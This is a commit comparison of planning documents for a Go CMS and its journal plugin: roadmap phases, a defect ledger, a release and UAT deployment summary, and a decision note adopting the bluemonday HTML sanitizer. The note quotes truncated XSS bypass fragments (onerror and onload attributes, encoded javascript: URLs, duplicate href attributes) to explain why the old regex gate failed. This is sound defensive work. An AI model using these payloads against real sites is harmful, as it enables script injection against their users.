Compare commits
16 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| c21fe36de7 | |||
| 17d467e9c2 | |||
| 60892ad49b | |||
| cd25af0878 | |||
| 5be98a0c83 | |||
| cd076b881d | |||
| b319b59989 | |||
| 1920ea6462 | |||
| 99dd072f07 | |||
| b4adf751c8 | |||
| 62025d22b3 | |||
| 837e40ae6a | |||
| 837922cf43 | |||
| a8bce9c01f | |||
| 3b8527b397 | |||
| 80f4497f95 |
@@ -982,27 +982,39 @@ Plans:
|
||||
**Goal:** The Journal posts list and post form in the admin work on real imported data, found on UAT (uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts): (1) list search no longer fails with "Server error" — the Go log shows `ERROR: column Categories.post_id does not exist (SQLSTATE 42703)` from summercms@v0.1.9 modules/cabana/query.go:129, i.e. search across a belongsToMany (pivot) relation builds a hasMany join; (2) list sort and filters are remembered after opening a record and going back, as WinterCMS persisted list state; (3) the post form shows the stored content (DB has content/content_html on 104/104 posts, the form shows it empty); (4) the post form shows the stored excerpt (100/104 posts have it in the DB). Fixes span summercms.go core (modules/cabana — coordinate with the concurrent session working in modules/) and sm-journal-plugin; release a summercms tag, bump the host, redeploy to UAT and re-run the staging smoke.
|
||||
**Requirements**: TBD
|
||||
**Depends on:** Phase 16
|
||||
**Plans:** 1/3 plans executed
|
||||
**Plans:** 3/3 plans executed
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 16.1-01-PLAN.md — All fixes: cabana relation search and to-many sort through EXISTS/correlated subqueries (D-02), default locale first in form enabledLocales (D-03), Journal FormatHTML keeps raw HTML behind the gate (D-03), admin list state in the URL and browser storage (D-01)
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [ ] 16.1-02-PLAN.md — Release gate (human), summercms tag, journal and host bumps, UAT redeploy and on-server smoke, re-save posts 53 and 64 (D-04)
|
||||
- [x] 16.1-02-PLAN.md — Release gate (human), summercms tag, journal and host bumps, UAT redeploy and on-server smoke, re-save posts 53 and 64 (D-04)
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [ ] 16.1-03-PLAN.md — Unit tests: DryRun SQL matrix, locale order, FormatHTML keep/refuse, list-state vitest; Postgres tests for a Docker host; phase gate
|
||||
- [x] 16.1-03-PLAN.md — Unit tests: DryRun SQL matrix, locale order, FormatHTML keep/refuse, list-state vitest; Postgres tests for a Docker host; phase gate
|
||||
|
||||
### Phase 16.2: Plugin-provided field types and the Blog Editor formwidget (INSERTED)
|
||||
|
||||
**Goal:** Plugins can register their own admin form field types (todo: cabana-richeditor-field-type), and the Journal plugin ships a first-class Blog Editor formwidget for post content — beyond the current markdown field or a plain rich editor — that edits imported HTML posts losslessly.
|
||||
**Requirements**: TBD
|
||||
**Depends on:** Phase 16.1
|
||||
**Plans:** 0 plans
|
||||
**Plans:** 6 plans
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run /msd-plan-phase 16.2 to break down)
|
||||
**Wave 1**
|
||||
- [ ] 16.2-01-PLAN.md — Framework (summercms.go): pact field-type API (human API checkpoint), cabana registry, boot option checks, Decode/Load/list in the save transaction, untouched skip, FieldWritesFromContext, field-types and field upload routes, OpenAPI and TS types, SPA PluginField/MLPluginField and global loader, dist, READMEs and docs
|
||||
- [ ] 16.2-02-PLAN.md — Journal Blog Editor element (sm-journal-plugin assets/src to assets/dist): TipTap package check (human), untouched value contract, lossless schema and serializer, uploads and YouTube embeds, JS build, vitest, check-dist, embed
|
||||
- [ ] 16.2-04-PLAN.md — vue-journal-layer: expandEmbeds after gateJournalHtml, SSR proof, tag v0.2.0 (human push gate), pin in vue-grzybyfunkcjonalne-app
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [ ] 16.2-03-PLAN.md — Journal Go integration: blogeditor and mlblogeditor types, CheckHTML per locale, D-07 Load, post and category fields, content_html companion writes without goldmark, editor uploads through the extracted media storage
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [ ] 16.2-05-PLAN.md — Release gate (human), summercms tag v0.1.17, journal and host bumps, UAT redeploy and on-server smoke, UAT acceptance: untouched re-saves byte-identical, editor edit with upload and embed
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [ ] 16.2-06-PLAN.md — Unit tests: resave contract at every layer, full Go and JS coverage, Postgres tests for a Docker host, phase gate scripts/check-phase16.2.sh, validation map
|
||||
|
||||
### Phase 17: Blog companions
|
||||
|
||||
|
||||
@@ -1,19 +1,19 @@
|
||||
---
|
||||
msd_state_version: "1.0"
|
||||
milestone: v1.0
|
||||
current_phase: "16.1"
|
||||
current_phase_name: "Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)"
|
||||
current_phase: "16.2"
|
||||
current_phase_name: plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
status: executing
|
||||
stopped_at: Completed 16.1-01-PLAN.md
|
||||
last_updated: "2026-10-09T19:05:48.037Z"
|
||||
stopped_at: Completed 16.1-03-PLAN.md
|
||||
last_updated: "2026-10-09T21:54:52.956Z"
|
||||
last_activity: 2026-10-09
|
||||
last_activity_desc: Phase 16.1 execution started
|
||||
state_head: 0ec2e31ffa19b38470109a4ff0eefa518ec0e803
|
||||
state_head: cd25af08782e69da40515350c21a30aaa229e8c2
|
||||
progress:
|
||||
total_phases: 34
|
||||
completed_phases: 13
|
||||
total_plans: 151
|
||||
completed_plans: 145
|
||||
total_plans: 157
|
||||
completed_plans: 147
|
||||
gsd_state_version: "1.0"
|
||||
milestone_name: milestone
|
||||
---
|
||||
@@ -29,8 +29,8 @@ See: .planning/PROJECT.md (updated 2026-09-16)
|
||||
|
||||
## Current Position
|
||||
|
||||
Phase: 16.1 (Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)) — EXECUTING
|
||||
Plan: 2 of 3
|
||||
Phase: 16.2 (plugin-provided-field-types-and-the-blog-editor-formwidget) — READY TO EXECUTE
|
||||
Plan: 3 of 3
|
||||
Status: Ready to execute
|
||||
Last activity: 2026-10-09 — Phase 16.1 execution started
|
||||
|
||||
@@ -200,6 +200,8 @@ Progress: [██████████] 100%
|
||||
| Phase 16 P04 | 40min | 3 tasks | 10 files |
|
||||
| Phase 16 P05 | 19 min | 3 tasks | 27 files |
|
||||
| Phase 16.1 P01 | 11 min | 4 tasks | 20 files |
|
||||
| Phase 16.1 P02 | 1h 26m | 3 tasks | 4 files |
|
||||
| Phase 16.1 P03 | 12 min | 3 tasks | 8 files |
|
||||
|
||||
## Accumulated Context
|
||||
|
||||
@@ -649,6 +651,10 @@ Recent decisions affecting current work:
|
||||
- [Phase 16.1]: meta.enabledLocales lists the default content locale first, then the writer's order
|
||||
- [Phase 16.1]: Journal FormatHTML renders raw HTML (goldmark WithUnsafe) behind the unchanged rejectUnsafe gate
|
||||
- [Phase 16.1]: List state: URL plus per-list localStorage key summer-admin.list:<controller>, restored before the first list request, cleared on logout
|
||||
- [Phase 16.1]: 16.1-02: summercms v0.1.16 tagged on d77393b after the human chose docker-first; journal a675f2f and host cac2ee7 pushed; UAT redeployed
|
||||
- [Phase 16.1]: 16.1-02: UAT Go log checks read /var/log/supervisor/grzybyfunkcjonalne-go.log directly; supervisorctl tail fails on ANSI escapes in GORM log lines and makes grep-count checks vacuous
|
||||
- [Phase 16.1]: 16.1-02: D-01/D-03 end-of-phase UAT checks are human-reported but not independently confirmed; queued for /msd-verify-work
|
||||
- [Phase 16.1]: FormatHTML refuse tests require an error and empty result for every unsafe input: with html.WithUnsafe the gate is the only XSS defence
|
||||
|
||||
### Pending Todos
|
||||
|
||||
@@ -718,6 +724,6 @@ Items acknowledged and carried forward from previous milestone close:
|
||||
|
||||
## Session Continuity
|
||||
|
||||
Last session: 2026-10-09T19:05:47.263Z
|
||||
Stopped at: Completed 16.1-01-PLAN.md
|
||||
Last session: 2026-10-09T20:52:41.534Z
|
||||
Stopped at: Completed 16.1-03-PLAN.md
|
||||
Resume file: None
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
---
|
||||
schema_version: 1
|
||||
open_count: 4
|
||||
open_count: 6
|
||||
waived_count: 0
|
||||
fixed_count: 6
|
||||
total_count: 10
|
||||
last_updated: 2026-10-05T12:07:04.853Z
|
||||
total_count: 12
|
||||
last_updated: 2026-10-09T20:51:27.671Z
|
||||
---
|
||||
|
||||
# Broken Windows Ledger
|
||||
|
||||
> Cross-phase defect register. With `workflow.windows_enforce` enabled, `/gsd-ship` blocks while `open_count > 0`.
|
||||
> Waive with `gsd-tools windows waive <id> "<reason>"` (reason required).
|
||||
> Mark fixed with `gsd-tools windows fixed <id>`.
|
||||
> Cross-phase defect register. With `workflow.windows_enforce` enabled, `/msd-ship` blocks while `open_count > 0`.
|
||||
> Waive with `msd-tools windows waive <id> "<reason>"` (reason required).
|
||||
> Mark fixed with `msd-tools windows fixed <id>`.
|
||||
|
||||
| id | phase | kind | file | line | description | status | reason | recorded_at | resolved_at |
|
||||
|----|-------|------|------|------|-------------|--------|--------|-------------|-------------|
|
||||
@@ -25,6 +25,8 @@ last_updated: 2026-10-05T12:07:04.853Z
|
||||
| 8 | 11 | skipped-test | parity/broadcast_goldens_test.go | | fonoteka.go: TestBroadcastGoldens/created and /updated t.Skip as pending; Phase 12 turns the recorded PHP created/updated goldens into assertions (album subtree, literal created_at/updated_at and artist id handling) | open | | 2026-09-30T11:32:37.302Z | |
|
||||
| 9 | 12.1 | stub | admin/src/components/form/RecordActions.vue | | RecordActions.vue is built and tested but not mounted; plan 12.1-02 mounts it in the preview footer, until then meta.actions is served and no screen shows the buttons | fixed | | 2026-10-04T21:55:30.405Z | 2026-10-05T10:41:16.319Z |
|
||||
| 10 | 12.1 | unmet-truth | .planning/phases/12.1-user-plugin-admin-screens/deferred-items.md | | fonoteka.go: four application tests pin lists the user plugin's admin work changes (TestAdminMetadataFiltering nav list, TestHiddenNeverMarshals user model count, parity TestMigrateSeedsCanonicalGenres and TestRollbackLastIsolatesFonoteka migration ids); with the two from plan 12.1-02 they keep plan 12.1-03's application verify red until plan 12.1-04 updates them | fixed | | 2026-10-05T11:31:36.781Z | 2026-10-05T12:07:04.853Z |
|
||||
| 11 | 16.1 | unrun-verify | modules/cabana/query_relation_test.go | | TestListRelationSearchPostgres not run here (no Docker); run go test -count=1 ./modules/cabana on a Docker host before /msd-verify-work | open | | 2026-10-09T20:51:22.934Z | |
|
||||
| 12 | 16.1 | unrun-verify | .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md | | sm-journal-plugin TestPostsAdminResaveKeepsHTML (posts_admin_smoke_test.go) not run here (no Docker); run go -C ../sm-journal-plugin test -count=1 ./... on a Docker host before /msd-verify-work | open | | 2026-10-09T20:51:27.671Z | |
|
||||
|
||||
````json
|
||||
[
|
||||
@@ -157,6 +159,32 @@ last_updated: 2026-10-05T12:07:04.853Z
|
||||
"recorded_at": "2026-10-05T11:31:36.781Z",
|
||||
"resolved_at": "2026-10-05T12:07:04.853Z",
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 11,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.1",
|
||||
"file": "modules/cabana/query_relation_test.go",
|
||||
"line": null,
|
||||
"description": "TestListRelationSearchPostgres not run here (no Docker); run go test -count=1 ./modules/cabana on a Docker host before /msd-verify-work",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-09T20:51:22.934Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 12,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.1",
|
||||
"file": ".planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin TestPostsAdminResaveKeepsHTML (posts_admin_smoke_test.go) not run here (no Docker); run go -C ../sm-journal-plugin test -count=1 ./... on a Docker host before /msd-verify-work",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-09T20:51:27.671Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
}
|
||||
]
|
||||
````
|
||||
|
||||
59
.planning/notes/journal-html-sanitizing-bluemonday.md
Normal file
59
.planning/notes/journal-html-sanitizing-bluemonday.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# Decision: bluemonday sanitizes journal post HTML
|
||||
|
||||
**Date:** 2026-10-09
|
||||
**Status:** Accepted (fixes Phase 16.1 code review CR-01 and WR-01)
|
||||
**Supersedes:** the three-regex `rejectUnsafe` gate in `sm-journal-plugin/classes/format_html.go` and the Phase 16.1 threat-register claim T-16.1-02
|
||||
|
||||
## Decision
|
||||
|
||||
`sm-journal-plugin` adds `github.com/microcosm-cc/bluemonday` v1.0.27 (the latest tag; the repository is not archived and has had no release since July 2024). `classes.FormatHTML` renders markdown with goldmark `html.WithUnsafe()` as before, then sanitizes the result with a package-level bluemonday policy. The plugin also imports `golang.org/x/net/html` directly. It was already in the build through bluemonday and the framework.
|
||||
|
||||
The policy is `bluemonday.UGCPolicy()` with these changes, each taken from goldmark's own output or from the posts and categories on the UAT database:
|
||||
|
||||
| Change | Why |
|
||||
|---|---|
|
||||
| `RequireNoFollowOnLinks(false)` | Winter does not add `rel="nofollow"`, so stored links keep their form. |
|
||||
| `footer` element | An imported author footer (post 64). |
|
||||
| `class` on every element, matching `SpaceSeparatedTokens` | Imported footers and goldmark's `{.class}` attributes and footnote classes. |
|
||||
| `itemscope` (empty), `itemtype` (`https://schema.org/<Type>` only), `itemprop` | schema.org microdata in the imported author footer. |
|
||||
| Styles `color`, `font-size`, `font-weight`, `text-align` | Inline styles in the imported author footer, and goldmark's table cell alignment. bluemonday validates each value. |
|
||||
| `role` = `doc-noteref`, `doc-endnotes` or `doc-backlink` on `a` and `div` | goldmark's footnote markup. |
|
||||
| `dir` = `ltr`, `rtl` or `auto` | Pasted chat transcripts in category bodies use `dir="auto"`. UGC's `Direction` allows only `ltr` and `rtl`. |
|
||||
| `data-message-author-role`, `data-message-id` on `div` (`[A-Za-z0-9_-]+`) | The same pasted transcripts. This is not `AllowDataAttributes()`, which would allow every `data-*` attribute. |
|
||||
|
||||
Everything else that UGC refuses is refused: `script`, `style`, `iframe`, `object`, `embed`, `form`, `input`, `base`, `meta`, `link`, `svg`, `math`, comments, every `on*` attribute, `target`, `rel`, `title` values outside UGC's `Paragraph` pattern, and URLs other than `http`, `https`, `mailto` and relative URLs. bluemonday checks URLs after the tokenizer has decoded entities, and it requires them to parse with `net/url`.
|
||||
|
||||
## Strip vs refuse
|
||||
|
||||
- **Posts strip.** `FormatHTML` stores the sanitized output and never fails because of unsafe markup. This is parity: Winter's `Post::formatHtml` runs `Html::clean` for every writer without `backend.allow_unsafe_markdown` (a CLI import has no backend user, so it is always cleaned). `Html::clean` strips `on*` and `xmlns` attributes, `javascript:`, `vbscript:` and `data:` URLs, `style` attributes, and the `script`, `style`, `iframe`, `embed`, `object`, `meta`, `base` and `link` tags. It never refuses. The Go port sanitizes for every writer. There is no permission that skips it, because superusers in PHP hold `backend.allow_unsafe_markdown` implicitly, and that loophole is exactly the escalation CR-01 describes. No post test or API contract required a 422 for unsafe content. Only the old `classes` unit test did, and it now asserts stripping. `content` itself is still stored as submitted, as in PHP.
|
||||
- **Byte-stable when nothing is stripped.** `sanitizeHTML` returns the goldmark output unchanged when that output and bluemonday's output tokenize to the same tokens: the same type, tag name, decoded text and set of decoded attributes. Otherwise it returns bluemonday's output. bluemonday re-escapes `"` as `"` and `'` as `'`, so storing its output every time would rewrite every imported post on its next save. Returning the original bytes is safe only on that token-level equality. Any element, attribute or comment that the policy drops makes the tokens differ, and then the sanitized output is stored.
|
||||
- **Category content refuses.** `classes.CheckHTML` keeps its exported signature and its 422 contract. D-21 stores category content exactly as submitted, and `TestCategoriesAdminContent` asserts a 422 for unsafe content. CheckHTML now uses the same policy and comparison, and refuses whenever the policy would change the HTML.
|
||||
|
||||
- **Translations follow the same rule (2026-10-10, audit W-1).** `classes.FormatTranslation` runs on every locale of every API and import write: a non-blank `content` re-derives `content_html` with `FormatHTML` (a supplied `content_html` is replaced, as for the host column); a `content_html` sent alone goes through `classes.SanitizeHTML`, the same policy. A translation keyed on the default locale, which `translate.SetTranslated` writes straight into the host column, is covered too. PHP stored a client-supplied translated `content_html` as-is on the API and import paths; the port follows the PHP admin widget, which always derived it.
|
||||
- **Duplicate attributes count as a change (audit W-2).** `golang.org/x/net/html` drops a repeated attribute while tokenizing, so the byte-stable comparison could not see `href="https://x" href="javascript:..."`. `htmlTokens` compares the raw attribute names of each start tag (`rawAttrNames`) with the attributes the tokenizer kept; any difference stores the sanitized output and makes `CheckHTML` refuse.
|
||||
|
||||
## Rationale
|
||||
|
||||
The regex blocklist could be bypassed once raw HTML passed through. These payloads came back unchanged with no error: `<img src="x"onerror=...>` (no space before the attribute), `<svg/onload=...>`, `javascript:`, `javascript:`, `javascript:`, `java<TAB>script:`, MathML `xlink:href`, and the inert-looking but dangerous `<base>`, `<meta http-equiv=refresh>` and `<form>`. The `data:` pattern also matched ordinary text, so "Data: 12 maja 2024" and "metadata:" were refused (WR-01). A sanitizer that tokenizes the HTML checks attributes and URL values in the same way a browser parses them, so it does not depend on any text pattern.
|
||||
|
||||
## Alternatives considered
|
||||
|
||||
- **A hand-built allow-list gate on `golang.org/x/net/html`.** It would add no new module, but the element and attribute allow-lists, the URL normalization (entity decoding, stripping ASCII whitespace and control characters, scheme checks) and the CSS value checks would be new security code that this project would own. bluemonday is the maintained Go implementation of exactly that, with its own test corpus. The project prefers a maintained library for protocol and security code.
|
||||
- **Anchoring the regexes to attribute values** (the WR-01 stop-gap). It fixes the false refusals but not the bypasses.
|
||||
- **Refusing posts with a 422 instead of stripping.** That is not PHP parity. It would also turn every pasted editor fragment that contains a stray `style` element or attribute into a failed save or import.
|
||||
|
||||
## Consequences
|
||||
|
||||
- UAT impact scan, read-only, run on 2026-10-09 over 104 posts, 2 `en` translations and 6 category bodies:
|
||||
- **No stored post or category holds an XSS payload.**
|
||||
- Only post 64 changes when it is next re-saved. Its 24-line `<style>` block for the author footer is removed, so the footer loses its flex layout and the round photo. The footer's `itemscope` is re-serialized as `itemscope=""`, and its inline styles lose the trailing `;`. The text, image and microdata stay.
|
||||
- All 6 category bodies pass `CheckHTML`.
|
||||
- The stored `content_html` does not change until a post is saved again.
|
||||
- The README Posts bullet, the `CheckHTML` row and the Dependencies line in `sm-journal-plugin/README.md` describe the sanitizer.
|
||||
- `sm-grzybyfunkcjonalne-app` includes the plugin as a submodule (`plugins/golem15/journal`), so it gets the fix when that submodule is bumped. Its workspace then needs bluemonday's `go.sum` lines.
|
||||
|
||||
## Follow-ups
|
||||
|
||||
- Done: the post 64 author-footer CSS moved into vue-grzybyfunkcjonalne-app `app/assets/css/base.css` (2c46185).
|
||||
- Done: `vue-journal-layer` replaced its regex gate with sanitize-html 2.18.0 mirroring this policy (5beb1c5; decision note `docs/decisions/0001-sanitize-html.md` in that repository, which explains why not DOMPurify).
|
||||
- If editors need `target="_blank"` links, `rel`, or `title` values with quotes or `&`, extend the policy deliberately. These are not allowed now because no imported content uses them.
|
||||
@@ -0,0 +1,239 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
plan: 02
|
||||
subsystem: infra
|
||||
tags: [release, deploy, uat, supervisor, postgres, git-tag]
|
||||
|
||||
requires:
|
||||
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
provides: "16.1-01 fixes: cabana relation search and sort subqueries, default locale first, journal FormatHTML keeps raw HTML, admin list state"
|
||||
provides:
|
||||
- "summercms annotated tag v0.1.16 on origin (tag object d8e3536 on d77393b), containing 06d75cb, bd8626e and 9cac45c"
|
||||
- "sm-journal-plugin main a675f2f on origin: FormatHTML fix plus a nominal require of summercms v0.1.16"
|
||||
- "sm-grzybyfunkcjonalne-app master cac2ee7 on origin: journal gitlink bump; README and DEPLOY.md no longer warn against re-saving imported posts"
|
||||
- "UAT runs the v0.1.16 build (sha256 46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb), previous binary kept as bin/grzybyfunkcjonalne.prev"
|
||||
- "Posts 53 and 64 on UAT re-rendered by an admin save: no raw-HTML placeholder anywhere, post 64 has its footer"
|
||||
affects: [16.1-03 unit tests, 16.2 blog editor, next summercms tag]
|
||||
|
||||
actuals:
|
||||
tokens: 708 # chars/4 over the realized diffs (sm-journal-plugin a675f2f + host cac2ee7); summercms.go had no code diff
|
||||
tasks: 3
|
||||
commits: 0 # summercms.go, measured: git rev-list --count d77393b..HEAD before this SUMMARY commit; sibling repos add 2 (a675f2f, cac2ee7) and the tag
|
||||
plan_head_before: d77393b4d1924ba5fa118faf71ded9a5163d6d5c
|
||||
plan_head_after: d77393b4d1924ba5fa118faf71ded9a5163d6d5c
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Go log checks on UAT read /var/log/supervisor/grzybyfunkcjonalne-go.log directly, anchored on the restart's alexandria client_id, not through supervisorctl tail"
|
||||
|
||||
key-files:
|
||||
created: []
|
||||
modified:
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
|
||||
key-decisions:
|
||||
- "Release v0.1.16 cut on d77393b after the human chose docker-first and reported the Docker-host suites passed"
|
||||
- "UAT log checks read the supervisor log file directly: supervisorctl tail fails with an XML-RPC ExpatError on the ANSI escapes in GORM log lines, and the error text passes a grep -c 0 check vacuously"
|
||||
- "The D-01 and D-03 end-of-phase UAT checks are recorded as human-reported but not independently confirmed; they are queued for /msd-verify-work"
|
||||
|
||||
patterns-established:
|
||||
- "UAT post-data proof: read-only psql via ssh as the deploy user; post data changes only through human admin saves"
|
||||
|
||||
requirements-completed: [D-04, D-03]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "summercms v0.1.16 annotated tag on origin contains every 16.1-01 commit; sm-journal-plugin main and the host master are pushed with the bumps; README and DEPLOY.md lost the re-save warning"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "git tag --contains 06d75cb (v0.1.16); git ls-remote --tags origin refs/tags/v0.1.16 (d8e3536); journal main == origin/main a675f2f; host master == origin/master cac2ee7; grep -ci omitted README.md DEPLOY.md = 0/0"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "UAT runs the locally built binary (sha256 equal on both sides), both supervisor programs RUNNING, previous binary kept, on-server smoke ok (98 urls)"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "Task 2 verify 1: on-server scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl -> 'smoke: ok (98 urls)'"
|
||||
status: pass
|
||||
- kind: other
|
||||
ref: "Task 2 verify 2: sha256 local == server 46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb; 2 RUNNING; tag on origin -> deploy-ok (re-checked 20:36 UTC)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Posts 53 and 64 re-rendered by an admin save: no post holds the raw-HTML placeholder, post 64 has its footer"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "ssh grzybyfunkcjonalne-uat psql SELECT placeholder count || ':' || post-64 footer count -> 0:1 (20:35 UTC)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "No SQLSTATE 42703 in the Go log since the 19:36:54 UTC restart (the relation search no longer fails on the real categories pivot)"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "corrected log check on /var/log/supervisor/grzybyfunkcjonalne-go.log since 2026/10/09 19:36:54 -> 0 (19 lines since restart)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Human UAT: posts-list search 'cordyceps' returns rows (D-02); list sort and category filter survive open/back, save-and-close and rail navigation and stay in the URL (D-01); an imported post's form shows pl first with title, slug, content and excerpt filled (D-03)"
|
||||
requirement: D-03
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Needs a browser session behind UAT basic auth and an admin login, which the executor never holds; the human reported 'all works' but that reply arrived before the re-saves had reached UAT, so these checks are not independently confirmed"
|
||||
|
||||
duration: 1h 26m
|
||||
completed: 2026-10-09
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.1 Plan 02: Release and UAT redeploy Summary
|
||||
|
||||
**summercms v0.1.16 is tagged and on origin. The journal plugin and the host are bumped and pushed. UAT runs the new build, and its on-server smoke passed. After the human re-saved posts 53 and 64, read-only checks show their HTML is back and no SQLSTATE 42703 has appeared in the log since the restart.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 1h 26m wall clock. Most of it was waiting on the three human checkpoints.
|
||||
- **Started:** 2026-10-09T19:10:00Z (Task 1 release sheet, approximate)
|
||||
- **Completed:** 2026-10-09T20:36:08Z
|
||||
- **Tasks:** 3 of 3
|
||||
- **Files modified:** 4, all in sibling repositories (`../sm-journal-plugin/go.mod`, plus the host's journal gitlink, `README.md` and `DEPLOY.md`)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Release gate (Task 1).** The gate printed `release-gate-ok`. The human chose docker-first with tag v0.1.16.
|
||||
- **Tag and pushes (Task 2).** Annotated tag `v0.1.16`, tag object `d8e3536b4dce4389cac23c88b42837ee72dc872a`, on `d77393b4d1924ba5fa118faf71ded9a5163d6d5c`. Pushes:
|
||||
- summercms master `e381f2c..d77393b`
|
||||
- sm-journal-plugin main `3d533d4..a675f2f`
|
||||
- host master `87e5353..cac2ee7`
|
||||
- **UAT redeploy (Task 2).** The build ran through `scripts/build.sh`.
|
||||
- The sha256 is the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
|
||||
- `migrate` ran and succeeded.
|
||||
- Both programs were restarted at `RESTART_TS=2026/10/09 19:36:54` (server time, UTC) and are RUNNING.
|
||||
- The on-server smoke printed `smoke: ok (98 urls)`.
|
||||
- **UAT data repair (Task 3).** The human re-saved posts 53 and 64 in the admin. The read-only SQL check now prints `0:1`, where it printed `2:0` before the re-saves.
|
||||
- Post 53: `updated_at` 2026-10-09 20:33:53.908 UTC, no placeholder.
|
||||
- Post 64: `updated_at` 20:34:08.100 UTC, no placeholder, footer present.
|
||||
- **Relation search on real data (Task 3).** No `SQLSTATE 42703` line has appeared in the Go log since the restart (19 lines checked). The 6 such lines in the file all predate the restart.
|
||||
|
||||
## Task Commits
|
||||
|
||||
The plan made no code commits in summercms.go. The release is a tag on the existing HEAD `d77393b`.
|
||||
|
||||
1. **Task 1: Release gate** (checkpoint:decision, blocking-human): no commit, by design
|
||||
2. **Task 2: Tracer: tag, push, bump, build, deploy, on-server smoke:**
|
||||
- summercms tag `v0.1.16` (tag object `d8e3536` on `d77393b`)
|
||||
- sm-journal-plugin `a675f2f` (chore(deps): require summercms v0.1.16)
|
||||
- sm-grzybyfunkcjonalne-app `cac2ee7` (chore: bump journal plugin; admin saves keep imported HTML)
|
||||
3. **Task 3: UAT acceptance** (checkpoint:human-action, blocking-human): no commit. The human re-saved posts 53 and 64 in the admin, and the executor ran read-only checks afterwards.
|
||||
|
||||
**Plan metadata:** this SUMMARY's docs commit; the STATE and ROADMAP updates are committed separately.
|
||||
|
||||
## Release sheet (Task 1, ~19:10 UTC)
|
||||
|
||||
- **summercms.go:** master HEAD `d77393b`, working tree clean. `HEAD..origin/master` was empty. No tag contained `06d75cb`. The highest tag was v0.1.15, so v0.1.16 was proposed and was absent on origin.
|
||||
- **Gate (`release-gate-ok`):**
|
||||
- `go vet` was clean in both repositories.
|
||||
- `TestListRelationSearchSmoke` and `TestEnabledLocalesDefaultFirstSmoke` passed.
|
||||
- sm-journal-plugin `./classes` passed, and so did `TestDocsTree`.
|
||||
- admin vitest ran 75 files and 1106 tests, all passing.
|
||||
- `check-admin-dist.sh` found no drift, and `check-admin-openapi.sh --check` exited 0.
|
||||
- **Commits pushed from summercms.go:** 26 commits, including `06d75cb`, `bd8626e`, `9cac45c` and `c5e03f4` "test(16-05): Phase 16 gate".
|
||||
- **Commits pushed from sm-journal-plugin:** `528d2d8`.
|
||||
- **Not runnable on this machine** (no Docker socket permission): the Postgres/testcontainers suites in `modules/cabana` and the sm-journal-plugin admin harness.
|
||||
- **Hygiene:** `check-phase10.sh --hygiene` reported 5 pre-existing findings, already recorded in `deferred-items.md`.
|
||||
- **Human reply, verbatim:** "release v0.1.16, docker passed". This is the docker-first option with `RELEASE_TAG=v0.1.16`.
|
||||
|
||||
## Task 2 record (~19:33 UTC)
|
||||
|
||||
- **Pre-tag re-checks:** fetch ok, `HEAD..origin/master` empty, v0.1.16 absent on origin, ssh ok.
|
||||
- **Tag:** `git ls-remote` shows `d8e3536b4dce4389cac23c88b42837ee72dc872a refs/tags/v0.1.16`.
|
||||
- **Pushed heads:**
|
||||
- sm-journal-plugin main: `a675f2f197d04f0a30ff03025ddcc9d2c8a93d54`
|
||||
- host master: `cac2ee72fa0cc64d15488680615489ac62de9c83`. Its journal gitlink is `a675f2f`.
|
||||
- **Build and upload:**
|
||||
- `check-deploy.sh` ok, and `build.sh` exited 0.
|
||||
